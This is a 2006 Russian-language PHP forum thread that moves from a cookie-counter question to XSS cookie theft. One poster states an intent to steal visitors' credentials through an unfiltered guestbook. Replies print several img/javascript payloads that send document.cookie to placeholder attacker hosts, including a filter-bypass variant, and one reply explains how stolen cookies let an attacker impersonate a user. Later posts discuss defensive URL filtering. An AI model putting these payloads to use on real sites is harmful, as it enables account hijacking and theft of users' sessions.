Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
Самоучитель MySQL 5. Авторы: Кузнецов М.В., Симдянов И.В. PHP 5/6. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. C++. Мастер-класс в задачах и примерах. Авторы: Кузнецов М.В., Симдянов И.В. PHP на примерах (2 издание). Авторы: Кузнецов М.В., Симдянов И.В. MySQL на примерах. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: COOKIE как использовать?
 
 автор: 1nkv131t0r   (13.08.2006 в 07:06)   письмо автору
 
 

Я прочитал вашу книгу "Самоучитель PHP5" и немного
непонял про Cookie.
У меня есть 2-а вопроса.
Вот у меня есть такой скрипт,
который записывает в файл кол-во посещений страницы.:

<?php
$_COOKIE
['counter']++;
setcookie("counter",$_COOKIE['counter']);
$file=fopen("cookie.txt","a");
fwrite($file,$_COOKIE[counter]."::");
fclose($file);
?>

1)Почему в качестве имени cookie и значения выбраны
имменно counter?

$_COOKIE['counter']++;//В этом месте значение 'counter'
setcookie("counter",$_COOKIE['counter']);//В этом указываем имя "counter"

Если например указать вместо counter что-то другое(без разницы что например
"XXX") будет работать этот скрипт?

2)Например мне надо с помощью cookie скомуниздить и записать в файл
пароль и логин посетителя форума,
какой код в данном случае будет? Как узнать имена которые надо устанавливать?
Ну или не обязательно пароль и логин,а любую другую информацию?

   
 
 автор: kasmanaft   (13.08.2006 в 08:23)   письмо автору
 
   для: 1nkv131t0r   (13.08.2006 в 07:06)
 

Скрипт будет работать и при "XXX" ... конечно же, если во всех местах заменить ...
Это просто имя переменной (ключа суперглобального массива $_COOKIE), обращаясь к которому мы получаем значение, закрепленное за этим ключом в массиве

   
 
 автор: cheops   (13.08.2006 в 11:36)   письмо автору
 
   для: 1nkv131t0r   (13.08.2006 в 07:06)
 

2) Cookie действуют только в пределах одного сайта, обратиться к cookie, которые вы сами не ставили невозможно с другого сайта. Т.е. если посетитель зашёл на наш сайт, а затем на ваш - пароли от форума вы не получите. Для этого потребуется либо изменить код нашего сайта либо провести XSS-атаку, что в общем одно и тоже.

   
 
 автор: 1nkv131t0r   (13.08.2006 в 11:53)   письмо автору
 
   для: cheops   (13.08.2006 в 11:36)
 

Ну я не про ваш сайт.Я в целом про ХSS атаку.
Нашел нефильтруемые сообщения в гостевой,
там вставляю JavaScript с переадрисацией
на мой скрипт...
Только как сам скрипт должен выглядеть,
например как узнать какие Cookie используются
под пароль,какие под имя и тд. или они все
в одной суперглобальной переменной находяться?

Или может я недостаточно понимаю определения
куков?

Заранее Спасибо.

   
 
 автор: cheops   (13.08.2006 в 12:18)   письмо автору
 
   для: 1nkv131t0r   (13.08.2006 в 11:53)
 

Для этого средствами JavaScript формируется строка с GET-параметрами, через которые передаётся содержимое cookie, а PHP-скрипт на конечном хосте просто их записывает в файл или базу данных.

   
 
 автор: 1nkv131t0r   (13.08.2006 в 14:54)   письмо автору
 
   для: cheops   (13.08.2006 в 12:18)
 

Т.е это JS типа:

<IMG name=myimg src="javascript:document.myimg.src='http://hacker_server/cgi-bin/cookie.cgi?' + document.cookie;">

   
 
 автор: cheops   (13.08.2006 в 16:45)   письмо автору
 
   для: 1nkv131t0r   (13.08.2006 в 14:54)
 

Да, что-то вроде этого...

   
 
 автор: BAHO   (13.08.2006 в 21:56)   письмо автору
 
   для: cheops   (13.08.2006 в 16:45)
 

новая специализация веб-студии SoftTime.ru - рассадник хакеров :)

   
 
 автор: Oligarx   (14.08.2006 в 00:03)   письмо автору
 
   для: BAHO   (13.08.2006 в 21:56)
 

Объясните пожалуйста на примере, как это использовать

<IMG name=myimg src="javascript:document.myimg.src='http://hacker_server/cgi-bin/cookie.cgi?' + document.cookie;">


Всмысле, как в этом скрипте http://hacker_server/cgi-bin/cookie.cgi потом извлечь переменные из кук ? Если через GET, то какое имя переменной ?

Можно на простом примере?

   
 
 автор: cheops   (14.08.2006 в 01:06)   письмо автору
 
   для: Oligarx   (14.08.2006 в 00:03)
 

Я не понимаю для каких мирных целей это можно использовать? cookie устанавливаются для конкретного сайта их и следует использовать на этом сайте...

   
 
 автор: BAHO   (14.08.2006 в 01:25)   письмо автору
 
   для: cheops   (14.08.2006 в 01:06)
 

в том то и дело, что участник этот хочет провести соответсвующую XSS-атаку... мирнх целей тут ну никак не может быть

   
 
 автор: CrazyAngel   (14.08.2006 в 01:51)   письмо автору
 
   для: Oligarx   (14.08.2006 в 00:03)
 

Не на том форуме спрашиваешь =))))))))

Но я посторяюсь обьяснить =)

как кто-то такую непростую картинку посмотрит
<IMG name=myimg src="javascript:document.myimg.src='http://hacker_server/cgi-bin/cookie.cgi?cookie=' + document.cookie;">
, скрипту cookie.cgi передасца примерно следующая строчка user=CrazyAngel;pass=super_parol_fig_razgadaesh;

скрипт cookie.cgi например отправляет эту строчку на почту юнному хакеру =) тот смотрит оп-ля =) да теперь у меня есть логин и пароль какого-то там CrazyAngel'a от этого сайта, дайка я пропишу это у себя в куках, зайду на этот сайт, да понарываюсь на админов

=)))

   
 
 автор: Loki   (14.08.2006 в 13:43)   письмо автору
 
   для: cheops   (13.08.2006 в 16:45)
 

А у меня такой вопрос: если в форуме есть возможность вставлять картинки с других серверов, можно ли как-то защититься от xss атаки?
И вторая половина вопроса: если уж нельзя защититься, то что надо хранить в куках, чтобы злоумышленнику эти данные не помогли?

   
 
 автор: cheops   (15.08.2006 в 11:59)   письмо автору
 
   для: Loki   (14.08.2006 в 13:43)
 

Хм... можно проверять формат URL и допускать только файлы с расширениями gif jpeg. В cookie в любом случае не нужно хранить ничего ценного вроде паролей к аккаунтам, где деньги лежат :)))

   
 
 автор: Loki   (15.08.2006 в 13:37)   письмо автору
 
   для: cheops   (15.08.2006 в 11:59)
 


src="javascript:open('http://hacksite.com/test.php?cookie=' + document.cookie); //.jpg"

Вроде такая штука проползет через фильтры:)

Так пароли никому и не нужны... нужны статусы:)

   
 
 автор: cheops   (16.08.2006 в 12:16)   письмо автору
 
   для: Loki   (15.08.2006 в 13:37)
 

Можно опережающей проверкой ещё пройтись... грубо говоря должён URL начинаться с http, так будте добры писать http, т.е. что-то вроде
^(?=http:)

   
 
 автор: Trianon   (16.08.2006 в 12:23)   письмо автору
 
   для: cheops   (16.08.2006 в 12:16)
 

url может быть относительным. :(
Т.е. схема доступа http/ftp/javascript... должна проверяться лишь тогда, когда она в принципе указана. ^(?=[\w]+\:)

   
 
 автор: Trianon   (16.08.2006 в 12:28)   письмо автору
 
   для: cheops   (15.08.2006 в 11:59)
 

Допустим, проверили мы URL, и содержимое проверили. И сочли ссылку валидной.
Только ведь никакой гарантии, что этот файл статический, а не сформирован сервером через mod_rewrite, который из GET-запроса успел кукисы к себе стянуть....

   
 
 автор: Trianon   (16.08.2006 в 12:29)   письмо автору
 
   для: cheops   (15.08.2006 в 11:59)
 

Допустим, проверили мы URL, и содержимое проверили. И сочли ссылку валидной.
Только ведь никакой гарантии, что этот файл статический, а не сформирован сервером через mod_rewrite, который из GET-запроса успеет кукисы к себе стянуть.... когда эта ссылка будет выложена в html-тексте на одной из страниц сервера в теге <img src=...>

   
 
 автор: Loki   (16.08.2006 в 13:03)   письмо автору
 
   для: Trianon   (16.08.2006 в 12:29)
 

Для этого надо их в гет запрос подставить. А это можно сделать только с помощью клиентсокго кода.

   
 
 автор: cheops   (16.08.2006 в 13:04)   письмо автору
 
   для: Trianon   (16.08.2006 в 12:29)
 

Можно выводить под также через htmlspecialchars() ссылку на страницу, чтобы пользователи видили куда идут... но это тоже не всегда применимо.

   
 
 автор: Trianon   (16.08.2006 в 13:27)   письмо автору
 
   для: cheops   (16.08.2006 в 13:04)
 

Я говорю о теге <IMG SRC=http://...> референс которого будет запрошен браузером безо всяких действий пользователя.

   
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования